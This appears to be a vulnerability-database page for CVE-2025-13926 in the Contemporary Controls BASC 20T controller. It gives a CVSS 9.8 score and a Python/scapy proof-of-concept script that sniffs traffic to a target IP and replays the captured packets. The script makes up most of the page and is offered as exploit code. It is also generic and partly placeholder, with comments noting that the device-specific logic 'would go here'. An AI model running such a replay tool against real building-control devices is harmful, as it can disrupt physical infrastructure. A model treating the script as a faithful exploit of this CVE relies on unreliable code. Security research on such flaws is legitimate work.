An attacker could use data obtained by sniffing the network traffic to
forge packets in order to make arbitrary requests to Contemporary
Controls BASC 20T.
CVSS Details
CVSS Score
9.8
Severity
CRITICAL
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Configurations (Affected Products)
No configuration data available.
Contemporary Controls BASC 20T (所有版本)
PoC / Exploit Code
⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
#!/usr/bin/env python3
# Proof of Concept for CVE-2025-13926
# This script demonstrates the concept of sniffing and replaying packets.
# Requires scapy: pip install scapy
from scapy.all import *
# Configuration
TARGET_IP = "192.168.1.100" # IP of the BASC 20T device
INTERFACE = "eth0"
def packet_callback(packet):
"""
Callback to process sniffed packets.
In a real scenario, specific protocol identifiers would be checked here.
"""
if packet.haslayer(IP) and packet[IP].dst == TARGET_IP:
print(f"[+] Captured packet from {packet[IP].src} to {packet[IP].dst}")
# Logic to extract the payload relevant to BASC 20T would go here
# For demonstration, we assume the whole packet is the replay object
replay_attack(packet)
def replay_attack(original_packet):
"""
Function to forge and send the replayed packet.
"""
print("[*] Forging packet to send arbitrary request...")
# Modify the packet if necessary to change the command (injection)
# For this PoC, we replay the captured packet as is (Replay Attack)
# Remove checksums so Scapy recalculates them
del original_packet[IP].chksum
if original_packet.haslayer(TCP):
del original_packet[TCP].chksum
# Send the forged packet
sendp(original_packet, iface=INTERFACE, verbose=0)
print("[+] Packet sent successfully.")
if __name__ == "__main__":
print(f"[*] Starting sniff on interface {INTERFACE} for target {TARGET_IP}...")
# Sniff traffic filter can be adjusted (e.g., tcp and port X)
sniff(iface=INTERFACE, prn=packet_callback, store=0)